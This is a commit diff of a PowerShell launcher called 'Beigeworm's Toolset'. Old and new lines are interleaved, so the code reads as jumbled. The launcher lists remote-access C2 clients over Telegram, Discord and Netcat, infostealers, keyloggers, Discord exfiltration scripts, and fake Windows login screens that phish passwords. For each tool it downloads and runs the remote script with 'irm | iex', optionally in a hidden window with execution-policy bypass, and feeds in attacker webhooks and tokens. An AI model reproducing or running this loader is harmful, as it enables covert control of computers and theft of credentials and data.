Update main.ps1

This commit is contained in:
egieb
2024-06-20 16:37:45 +00:00
committed by GitHub
parent 3f47397769
commit bf52e98fb1
+184 -292
View File
@@ -1,304 +1,196 @@
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName Microsoft.VisualBasic
[System.Windows.Forms.Application]::EnableVisualStyles()
<#
======================================= Beigeworm's Toolset ==========================================
if ($hookurl.Length -eq 0){$hookurl = "https://discord.com/api/webhooks/..."} # Change this to open GUI with your details
if ($ghurl.Length -eq 0){$ghurl = "https://pastebin.com/raw/......."} # Change this to open GUI with your details
if ($tg.Length -eq 0){$tg = "Ex4mP137eLeGr4m_4pI-B0t_T0k3N"} # Change this to open GUI with your details
if ($NCurl.Length -eq 0){$NCurl = "192.168.0.1"} # Change this to open GUI with your details
https://is.gd/bwtool
$hidewindow = 1
If ($HideWindow -gt 0){
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
$hwnd = (Get-Process -PID $pid).MainWindowHandle
if($hwnd -ne [System.IntPtr]::Zero){
$Type::ShowWindowAsync($hwnd, 0)
}
else{
$Host.UI.RawUI.WindowTitle = 'hideme'
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
$hwnd = $Proc.MainWindowHandle
$Type::ShowWindowAsync($hwnd, 0)
}
SYNOPSIS
All useful tools in one place.
A selection of Powershell tools from this repo can be ran from this script.
USAGE
1. Replace the URLS and TOKENS below. (they can also be added by running the script)
2. Run the script and follow options in the console
INFO
Closing this script will NOT close any scripts that were started from this script.
Any background/hidden scripts eg. C2 clients will keep running.
#>
# Uncomment below (or def)
#$dc = "DISCORD_WEBHOOK_HERE"
#$ch = "PASTEBIN_URL_HERE"
#$tg = "TELEGRAM_BOT_TOKEN"
#$NCurl = "YOUR_NETCAT_IP_ADDRESS" # no port
$Host.UI.RawUI.BackgroundColor = "Black"
Clear-Host
[Console]::SetWindowSize(80, 35)
[Console]::Title = "Beigeworm`'s Toolset"
$Option = ''
function Header {
cls
$Header = "==============================================================================
= __________ .__ ___________ .__ =
= \______ \ ____ |__| ____ ___\__ ___/___ ____ | | ______ =
= | | _// __ \| |/ ___\_/ __ \| | / _ \ / _ \| | / ___/ =
= | | \ ___/| / /_/ > ___/| |( <_> | <_> ) |__\___ \ =
= |______ /\___ >__\___ / \___ >____| \____/ \____/|____/____ > =
= \/ \/ /_____/ \/ \/ =
==============================================================================`n"
Write-Host "$header" -ForegroundColor Green
}
$imageUrl = "https://i.ibb.co/ZGrt8qb/b-min.png"
$client = New-Object System.Net.WebClient
$imageBytes = $client.DownloadData($imageUrl)
$ms = New-Object IO.MemoryStream($imageBytes, 0, $imageBytes.Length)
$list = "==============================================================================
= =
= C2 Clients System Tools =
= 1. Telegram C2 Client 17. Find Text string in Files =
= 2. Discord C2 Client 18. Minecraft Server Scanner =
= 3. NetCat C2 Client 19. Console Task Manager =
= 4. LAN Toolset 20. Dummy Folder Creator =
= 21. Mouse Recorder / Player =
= Encryption 22. Matrix Cascade =
= 5. Encryptor 23. Github Repo Search & Invoke =
= 6. Decryptor 24. Global Powershell Logging =
= 25. Terminal Shortcut Creator =
= GUI Tools 26. Text Cipher Tool =
= 7. Filetype Finder 27. System Information to File =
= 8. Screen Recorder 28. Day/Night Bliss Wallpaper =
= 9. Network Enumeration 29. Environment Variable Encoder =
= 10. Microphone Muter 30. Bad USB Detect & Protect =
= 11. Webhook Spammer 31. USB Poison =
= 12. Social Search 32. Browser DB Files Viewer =
= 13. GDI effects =
= 14. Mouse Recorder Discord Scripts =
= 15. System Metrics 33. Discord Infostealer =
= 16. PoSh Control (tray) 34. Exfiltrate to Discord =
= 35. PS Trascription to Discord =
= Login Phishing 36. Discord Keylogger =
= 38. Windows 10 Login to DC 37. Record Screen to Discord =
= 39. Windows 11 Login to DC =
= Pranks =
= 40. Windows Idiot Prank =
= 99. Close Program 41. Memz in Powershell =
= 00. Token and URL setup 42. Persistant Goose =
= =
==============================================================================
"
$items = @(
"Telegram C2 Client"
"Discord C2 Client"
"NetCat C2 Client"
"LAN Toolset"
"Encryptor"
"Decryptor"
"Filetype Finder GUI"
"Screen Recorder GUI"
"Network Enumeration GUI"
"Microphone Muter GUI"
"Webhook Spammer GUI"
"Social Search GUI"
"GDI effects GUI"
"Telegram Infoscrape"
"Discord Infoscrape"
"Netcat Screenshare"
"Console MC Server Scanner"
"Console Task Manager"
"Image To Console"
"Matrix Cascade in console"
"Windows 10 Lockscreen"
"Windows 11 Lockscreen"
"Dummy Folder Creator"
"Exfiltrate to USB"
"Chrome Extension Keylogger"
)
$form = New-Object System.Windows.Forms.Form
$form.Text = " | Beigeworms's Toolset |"
$form.Size = New-Object System.Drawing.Size(660,500)
$form.Font = 'Microsoft Sans Serif,10'
$form.BackgroundImage = [System.Drawing.Image]::FromStream($ms, $true)
$form.BackColor = "#242424"
$dropdownHeader = New-Object System.Windows.Forms.Label
$dropdownHeader.Text = "Select Tool Here"
$dropdownHeader.ForeColor = "#bcbcbc"
$dropdownHeader.AutoSize = $true
$dropdownHeader.Width = 25
$dropdownHeader.Height = 10
$dropdownHeader.Location = New-Object System.Drawing.Point(20, 10)
$form.Controls.Add($dropdownHeader)
$dropdown = New-Object System.Windows.Forms.ComboBox
$dropdown.Location = New-Object System.Drawing.Point(20, 30)
$dropdown.Size = New-Object System.Drawing.Size(250, 30)
$dropdown.Items.AddRange($items)
$form.Controls.Add($dropdown)
$WebhookInputHeader = New-Object System.Windows.Forms.Label
$WebhookInputHeader.Text = "Discord Webhook URL"
$WebhookInputHeader.ForeColor = "#bcbcbc"
$WebhookInputHeader.AutoSize = $true
$WebhookInputHeader.Width = 25
$WebhookInputHeader.Height = 10
$WebhookInputHeader.Location = New-Object System.Drawing.Point(20, 60)
$form.Controls.Add($WebhookInputHeader)
$WebhookInput = New-Object System.Windows.Forms.TextBox
$WebhookInput.Text = "$hookurl" # you can set this now for efficiency (optional)
$WebhookInput.Location = New-Object System.Drawing.Point(20, 80)
$WebhookInput.BackColor = "#eeeeee"
$WebhookInput.Width = 600
$WebhookInput.Height = 40
$WebhookInput.Multiline = $false
$form.Controls.Add($WebhookInput)
$TokenInputHeader = New-Object System.Windows.Forms.Label
$TokenInputHeader.Text = "Telegram API Token"
$TokenInputHeader.ForeColor = "#bcbcbc"
$TokenInputHeader.AutoSize = $true
$TokenInputHeader.Width = 25
$TokenInputHeader.Height = 10
$TokenInputHeader.Location = New-Object System.Drawing.Point(20, 110)
$form.Controls.Add($TokenInputHeader)
$TGTokenInput = New-Object System.Windows.Forms.TextBox
$TGTokenInput.Text = "$tg" # you can set this now for efficiency (optional)
$TGTokenInput.Location = New-Object System.Drawing.Point(20, 130)
$TGTokenInput.BackColor = "#eeeeee"
$TGTokenInput.Width = 600
$TGTokenInput.Height = 40
$TGTokenInput.Multiline = $false
$form.Controls.Add($TGTokenInput)
$PastebinInputHeader = New-Object System.Windows.Forms.Label
$PastebinInputHeader.Text = "RAW Pastebin URL"
$PastebinInputHeader.ForeColor = "#bcbcbc"
$PastebinInputHeader.AutoSize = $true
$PastebinInputHeader.Width = 25
$PastebinInputHeader.Height = 10
$PastebinInputHeader.Location = New-Object System.Drawing.Point(20, 160)
$form.Controls.Add($PastebinInputHeader)
$PastebinInput = New-Object System.Windows.Forms.TextBox
$PastebinInput.Text = "$ghurl" # you can set this now for efficiency (optional)
$PastebinInput.Location = New-Object System.Drawing.Point(20, 180)
$PastebinInput.BackColor = "#eeeeee"
$PastebinInput.Width = 600
$PastebinInput.Height = 40
$PastebinInput.Multiline = $false
$form.Controls.Add($PastebinInput)
$NetcatHeader = New-Object System.Windows.Forms.Label
$NetcatHeader.Text = "Netcat IPv4 Address"
$NetcatHeader.ForeColor = "#bcbcbc"
$NetcatHeader.AutoSize = $true
$NetcatHeader.Width = 25
$NetcatHeader.Height = 10
$NetcatHeader.Location = New-Object System.Drawing.Point(20, 210)
$form.Controls.Add($NetcatHeader)
$netcatInput = New-Object System.Windows.Forms.TextBox
$netcatInput.Text = "$NCurl" # you can set this now for efficiency (optional)
$netcatInput.Location = New-Object System.Drawing.Point(20, 230)
$netcatInput.BackColor = "#eeeeee"
$netcatInput.Width = 600
$netcatInput.Height = 40
$netcatInput.Multiline = $false
$form.Controls.Add($netcatInput)
$startButton = New-Object System.Windows.Forms.Button
$startButton.Location = New-Object System.Drawing.Point(540, 30)
$startButton.Size = New-Object System.Drawing.Size(80, 30)
$startButton.Text = "Start"
$startButton.BackColor = "#fff"
$form.Controls.Add($startButton)
$infoButton = New-Object System.Windows.Forms.Button
$infoButton.Location = New-Object System.Drawing.Point(450, 30)
$infoButton.Size = New-Object System.Drawing.Size(80, 30)
$infoButton.Text = "Info"
$infoButton.BackColor = "#fff"
$form.Controls.Add($infoButton)
$hiddenboxtext = New-Object System.Windows.Forms.Label
$hiddenboxtext.Text = "Hidden Console"
$hiddenboxtext.ForeColor = "#bcbcbc"
$hiddenboxtext.AutoSize = $true
$hiddenboxtext.Width = 25
$hiddenboxtext.Height = 10
$hiddenboxtext.Location = New-Object System.Drawing.Point(340, 38)
$form.Controls.Add($hiddenboxtext)
$hiddenbox = New-Object System.Windows.Forms.CheckBox
$hiddenbox.Location = New-Object System.Drawing.Point(325, 35)
$form.Controls.Add($hiddenbox)
$OutputHeader = New-Object System.Windows.Forms.Label
$OutputHeader.Text = "Output"
$OutputHeader.ForeColor = "#bcbcbc"
$OutputHeader.AutoSize = $true
$OutputHeader.Width = 25
$OutputHeader.Height = 10
$OutputHeader.Location = New-Object System.Drawing.Point(20, 260)
$form.Controls.Add($OutputHeader)
$OutputBox = New-Object System.Windows.Forms.TextBox
$OutputBox.Multiline = $True;
$OutputBox.Location = New-Object System.Drawing.Point(20, 280)
$OutputBox.Width = 600
$OutputBox.Height = 150
$OutputBox.Scrollbars = "Vertical"
$form.Controls.Add($OutputBox)
Function Add-OutputBoxLine{
Param ($outfeed)
$OutputBox.AppendText("`r`n$outfeed")
$OutputBox.Refresh()
$OutputBox.ScrollToCaret()
Function EnterTokens{
if (($dc.Length -eq 0) -or ($ch.Length -eq 0) -or ($tg.Length -eq 0) -or ($tk.Length -eq 0) -or ($NCurl.Length -eq 0)){Write-Host "Missing Entries Found." -ForegroundColor Red;sleep 1;cls;Header;Write-Host "Please enter the missing URLs and API Tokens" -ForegroundColor Yellow;Write-Host "You can leave these empty however functionality will be limited..`n" -ForegroundColor DarkGray;sleep 1}
if ($dc.Length -eq 0){$dc = Read-Host "Enter a Discord Webhook ";Write-Host "Discord Webhook Set." -ForegroundColor Green}
if ($tk.Length -eq 0){$tk = Read-Host "Enter Discord Bot Token ";Write-Host "Discord Bot Token Set." -ForegroundColor Green}
if ($ch.Length -eq 0){$ch = Read-Host "Enter a Discord Channel ID ";Write-Host "Discord Channel ID Set." -ForegroundColor Green}
if ($tg.Length -eq 0){$tg = Read-Host "Enter a Telegram Bot API Token ";Write-Host "Telegram API Token Set." -ForegroundColor Green}
if ($NCurl.Length -eq 0){$NCurl = Read-Host "Enter an IPv4 address for Netcat";Write-Host "IPv4 address Set." -ForegroundColor Green}
if ($DLurl.Length -eq 0){$DLurl = Read-Host "Enter a Direct Download File URL";Write-Host "File URL Set." -ForegroundColor Green}
}
$startButton.Add_Click({
$selectedItem = $dropdown.SelectedItem
if($selectedItem.length -eq 0 ){Add-OutputBoxLine -Outfeed "Nothing Selected! Please choose a tool from the dropdown menu.";return}
Add-OutputBoxLine -Outfeed "$selectedItem Selected"
$BaseURL = "https://raw.githubusercontent.com/beigeworm/assets/main/master"
$PoshcryptURL = "https://raw.githubusercontent.com/beigeworm/PoshCryptor/main"
$HideURL = "https://raw.githubusercontent.com/beigeworm/assets/main/master/Hide-Terminal.ps1"
$hookurl = $WebhookInput.Text
$ghurl = $PastebinInput.Text
$tg = $TGTokenInput.Text
$NCurl = $netcatInput.Text
Header
sleep 1
Write-Host "Checking URLs and API Tokens" -ForegroundColor Yellow
sleep 1
EnterTokens
# Webhook shortened URL handler
$hookurl = (irm $hookurl).url
While ($true){
cls
Header
Write-Host "$list" -ForegroundColor Green
$Option = Read-Host "Choose an option "
$BaseURL = "https://raw.githubusercontent.com/beigeworm/Powershell-Tools-and-Toys/main"
$PoshcryptURL = "https://raw.githubusercontent.com/beigeworm/PoshCryptor/main"
switch ($selectedItem) {
"Telegram C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshGram-C2/main/Telegram-C2-Client.ps1"}
"Discord C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1"}
"NetCat C2 Client" {$url = "$BaseURL/NC-Func.ps1"}
"LAN Toolset" {$url = "https://raw.githubusercontent.com/beigeworm/Posh-LAN/main/Posh-LAN-Tools.ps1"}
"Encryptor" {$url = "$PoshcryptURL/Encryption/Encryptor.ps1"}
"Decryptor" {$url = "$PoshcryptURL/Decryption/Decryptor-GUI.ps1"}
"Filetype Finder GUI" {$url = "$BaseURL/Search-Folders-For-Filetypes-GUI.ps1"}
"Screen Recorder GUI" {$url = "$BaseURL/Record-Screen-GUI.ps1"}
"Network Enumeration GUI" {$url = "$BaseURL/Network-Enumeration-GUI.ps1"}
"Microphone Muter GUI" {$url = "$BaseURL/Mute-Microphone-GUI.ps1"}
"Webhook Spammer GUI" {$url = "$BaseURL/Discord-Webhook-Spammer-GUI.ps1"}
"Social Search GUI" {$url = "$BaseURL/Social-Search-GUI.ps1"}
"GDI effects GUI" {$url = "$BaseURL/Desktop-GDI-Efects-GUI.ps1"}
"Telegram Infoscrape" {$url = "$BaseURL/Telegram-InfoStealer.ps1"}
"Discord Infoscrape" {$url = "$BaseURL/Discord-Infostealer.ps1"}
"Netcat Screenshare" {$url = "$BaseURL/Desktop-Screenshare-over-Netcat.ps1"}
"Console MC Server Scanner"{$url = "$BaseURL/Minecraft-Server-Scanner-and-Server-Info.ps1"}
"Console Task Manager" {$url = "$BaseURL/Console-Task-Manager.ps1"}
"Image To Console" {$url = "$BaseURL/Image-to-Console.ps1"}
"Matrix Cascade in console"{$url = "$BaseURL/Matrix-Cascade-in-Powershell.ps1"}
"Windows 10 Lockscreen" {$url = "$BaseURL/Fake-Windows-10-Lockscreen-to-Webhook.ps1"}
"Windows 11 Lockscreen" {$url = "$BaseURL/Fake-Windows-11-Lockscreen-to-Webhook.ps1"}
"Dummy Folder Creator" {$url = "$BaseURL/Dummy-Folder-Creator.ps1"}
"Exfiltrate to USB" {$url = "$BaseURL/ExfiltrateToUSB.ps1"}
"Chrome Extension Keylogger" {$url = "$BaseURL/ChromeLog.ps1"}
}
Add-OutputBoxLine -Outfeed "$selectedItem URL : $url"
if(($hiddenbox.Checked) -and ($selectedItem -notlike "*Console*") -and ($selectedItem -notlike "*LAN*")){
Start-Process PowerShell.exe -ArgumentList ("-NoP -NonI -Ep Bypass -W Hidden -C irm $HideURL | iex ; `$tg = `'$tg`' ;`$hookurl = `'$hookurl`' ; `$ghurl = `'$ghurl`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
Add-OutputBoxLine -Outfeed "Started $selectedItem With Console Hidden"
}
else{
Start-Process PowerShell.exe -ArgumentList ("-NoP -Ep Bypass -C `$stage = `'y`' ; `$tg = `'$tg`' ;`$hookurl = `'$hookurl`' ; `$ghurl = `'$ghurl`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
Add-OutputBoxLine -Outfeed "Started $selectedItem With Console Visible"
}
})
if ($Option -eq '1'){$url = "https://raw.githubusercontent.com/beigeworm/PoshGram-C2/main/Telegram-C2-Client.ps1"}
if ($Option -eq '2'){$url = "https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1"}
if ($Option -eq '3'){$url = "$BaseURL/NC-Func.ps1"}
if ($Option -eq '4'){$url = "https://raw.githubusercontent.com/beigeworm/Posh-LAN/main/Posh-LAN-Tools.ps1"}
if ($Option -eq '5'){$url = "$PoshcryptURL/Encryption/Encryptor.ps1"}
if ($Option -eq '6'){$url = "$PoshcryptURL/Decryption/Decryptor-GUI.ps1"}
if ($Option -eq '7'){$url = "$BaseURL/GUI%20Tools/Search-Folders-For-Filetypes-GUI.ps1"}
if ($Option -eq '8'){$url = "$BaseURL/GUI%20Tools/Record-Screen-GUI.ps1"}
if ($Option -eq '9'){$url = "$BaseURL/GUI%20Tools/Network%20Enumeration%20GUI.ps1"}
if ($Option -eq '10'){$url = "$BaseURL/GUI%20Tools/Mute%20Microphone%20GUI.ps1"}
if ($Option -eq '11'){$url = "$BaseURL/GUI%20Tools/Discord%20Webhook%20Spammer%20GUI.ps1"}
if ($Option -eq '12'){$url = "$BaseURL/GUI%20Tools/Social%20Search%20GUI.ps1"}
if ($Option -eq '13'){$url = "$BaseURL/GUI%20Tools/Desktop-GDI-Efects-GUI.ps1"}
if ($Option -eq '14'){$url = "$BaseURL/GUI%20Tools/Mouse-Recorder-GUI.ps1"}
if ($Option -eq '15'){$url = "$BaseURL/GUI%20Tools/System-Metrics-GUI.ps1"}
if ($Option -eq '16'){$url = "https://raw.githubusercontent.com/beigeworm/PoSh-Control/main/PoSh-Control.ps1"}
$infoButton.Add_Click({
$OutputBox.Clear()
$selectedItem = $dropdown.SelectedItem
if($selectedItem.length -eq 0 ){Add-OutputBoxLine -Outfeed "Nothing Selected! Please choose a tool from the dropdown menu.";return}
Add-OutputBoxLine -Outfeed "$selectedItem Information/Help"
Add-OutputBoxLine -Outfeed "=================================================================================="
$BaseURL = "https://raw.githubusercontent.com/beigeworm/assets/main/master"
$PoshcryptURL = "https://raw.githubusercontent.com/beigeworm/PoshCryptor/main"
if ($Option -eq '17'){$url = "$BaseURL/Misc/Find%20Text%20string%20in%20Files.ps1"}
if ($Option -eq '18'){$url = "$BaseURL/Misc/Minecraft-Server-Scanner-and-Server-Info.ps1"}
if ($Option -eq '19'){$url = "$BaseURL/Misc/Console-Task-Manager.ps1"}
if ($Option -eq '20'){$url = "$BaseURL/Misc/Dummy-Folder-Creator.ps1"}
if ($Option -eq '21'){$url = "$BaseURL/Misc/Mouse-Clicks-Recorder.ps1"}
if ($Option -eq '22'){$url = "$BaseURL/Misc/Matrix-Cascade-in-Powershell.ps1"}
if ($Option -eq '23'){$url = "$BaseURL/Misc/Github-Repo-PS-Search-and-Invoke.ps1"}
if ($Option -eq '24'){$url = "$BaseURL/Misc/Global-PS-Logging.ps1"}
if ($Option -eq '25'){$url = "$BaseURL/Misc/Terminal-Shortcut-Creator.ps1"}
if ($Option -eq '26'){$url = "$BaseURL/Misc/Text-Cipher-Tool.ps1"}
if ($Option -eq '27'){$url = "$BaseURL/Information%20Enumeration/Sys-Info-to-File.ps1"}
if ($Option -eq '28'){$url = "$BaseURL/Misc/Day-Night-Bliss-Wallpaper-Schedulded.ps1"}
if ($Option -eq '29'){$url = "$BaseURL/Misc/Environment-Variable-Encoder.ps1"}
if ($Option -eq '30'){$url = "$BaseURL/Misc/BadUSB-Detect-and-Protect.ps1"}
if ($Option -eq '31'){$url = "$BaseURL/Misc/USB-Poison.ps1"}
if ($Option -eq '32'){$url = "$BaseURL/Information%20Enumeration/Browser-DB-File-Viewer.ps1"}
if ($Option -eq '33'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Discord-Infostealer/main.ps1"}
if ($Option -eq '34'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Exfiltrate-to-Discord/main.ps1"}
if ($Option -eq '35'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Global-PS-Trascription-to-Discord/main.ps1"}
if ($Option -eq '36'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Discord-Keylogger/main.ps1"}
if ($Option -eq '37'){$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Record-Screen-to-Discord/main.ps1"}
if ($Option -eq '38'){$url = "https://github.com/beigeworm/BadUSB-Files-For-FlipperZero/blob/main/Win10-Phishing/main.ps1"}
if ($Option -eq '39'){$url = "https://github.com/beigeworm/BadUSB-Files-For-FlipperZero/blob/main/Win11-Phishing/main.ps1"}
if ($Option -eq '40'){$url = "$BaseURL/Pranks/Windows-Idiot-Prank.ps1"}
if ($Option -eq '41'){$url = "$BaseURL/Pranks/PoshMEMZ-Prank.ps1"}
if ($Option -eq '42'){$url = "$BaseURL/Pranks/Persistant-Goose.ps1"}
if ($Option -eq '99'){Write-Host "Closing Script";sleep 1; exit}
else{Write-Host "No valid option selected."}
while ($Option -ne '99'){
Header
$HideURL = "https://raw.githubusercontent.com/beigeworm/assets/main/master/Hide-Powershell-Console.ps1"
Write-Host "Selected Script URL - $url" -ForegroundColor Cyan
Write-Host "Do NOT Continue Unless You Have Reviewed The Script!" -ForegroundColor Red
Pause
if ($Option){
if ($Option -eq '00'){Write-Host "Entering Token and URL setup.." -ForegroundColor Yellow;sleep 1;EnterTokens;break}
$hidden = Read-Host "Would you like to run this in a hidden window? (Y/N)"
if ($Option -eq '31'){
if ($DLurl.Length -eq 0){$DLurl = Read-Host "Enter a Direct Download File URL";Write-Host "File URL Set." -ForegroundColor Green}
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -W Hidden -C `$DLurl = `'$DLurl`' ; irm $url | iex")
break
}
If ($hidden -eq 'y'){
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -W Hidden -C irm $HideURL | iex ; `$tg = `'$tg`' ; `$tk = `'$tk`' ; `$dc = `'$dc`' ; `$ch = `'$ch`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
break
}
If ($hidden -eq 'n'){
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -C `$tg = `'$tg`' ; `$tk = `'$tk`' ; `$dc = `'$dc`' ; `$ch = `'$ch`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
break
}
else{
Write-Host "No valid option selected" -ForegroundColor Red
break
}
}
else{
Write-Host "No valid option selected" -ForegroundColor Red
break
}
break
switch ($selectedItem) {
"Telegram C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshGram-C2/main/Telegram-C2-Client.ps1"}
"Discord C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1"}
"NetCat C2 Client" {$url = "$BaseURL/NC-Func.ps1"}
"LAN Toolset" {$url = "https://raw.githubusercontent.com/beigeworm/Posh-LAN/main/Posh-LAN-Tools.ps1"}
"Encryptor" {$url = "$PoshcryptURL/Encryption/Encryptor.ps1"}
"Decryptor" {$url = "$PoshcryptURL/Decryption/Decryptor-GUI.ps1"}
"Filetype Finder GUI" {$url = "$BaseURL/Search-Folders-For-Filetypes-GUI.ps1"}
"Screen Recorder GUI" {$url = "$BaseURL/Record-Screen-GUI.ps1"}
"Network Enumeration GUI" {$url = "$BaseURL/Network-Enumeration-GUI.ps1"}
"Microphone Muter GUI" {$url = "$BaseURL/Mute-Microphone-GUI.ps1"}
"Webhook Spammer GUI" {$url = "$BaseURL/Discord-Webhook-Spammer-GUI.ps1"}
"Social Search GUI" {$url = "$BaseURL/Social-Search-GUI.ps1"}
"GDI effects GUI" {$url = "$BaseURL/Desktop-GDI-Efects-GUI.ps1"}
"Telegram Infoscrape" {$url = "$BaseURL/Telegram-InfoStealer.ps1"}
"Discord Infoscrape" {$url = "$BaseURL/Discord-Infostealer.ps1"}
"Netcat Screenshare" {$url = "$BaseURL/Desktop-Screenshare-over-Netcat.ps1"}
"Console MC Server Scanner"{$url = "$BaseURL/Minecraft-Server-Scanner-and-Server-Info.ps1"}
"Console Task Manager" {$url = "$BaseURL/Console-Task-Manager.ps1"}
"Image To Console" {$url = "$BaseURL/Image-to-Console.ps1"}
"Matrix Cascade in console"{$url = "$BaseURL/Matrix-Cascade-in-Powershell.ps1"}
"Windows 10 Lockscreen" {$url = "$BaseURL/Fake-Windows-10-Lockscreen-to-Webhook.ps1"}
"Windows 11 Lockscreen" {$url = "$BaseURL/Fake-Windows-11-Lockscreen-to-Webhook.ps1"}
"Dummy Folder Creator" {$url = "$BaseURL/Dummy-Folder-Creator.ps1"}
"Exfiltrate to USB" {$url = "$BaseURL/ExfiltrateToUSB.ps1"}
"Chrome Extension Keylogger" {$url = "$BaseURL/ChromeLog.ps1"}
}
$fileContent = Invoke-RestMethod -Uri $Url
$pattern = '(?s)<#(.*?)#>'
$matches = [regex]::Matches($fileContent, $pattern)
foreach ($match in $matches) {
$textInsideHashTags = $match.Groups[1].Value
Add-OutputBoxLine -Outfeed $textInsideHashTags
}
Add-OutputBoxLine -Outfeed "=================================================================================="
Add-OutputBoxLine -Outfeed "$selectedItem URL : $url"
})
[Windows.Forms.Application]::Run($form)
sleep 1
}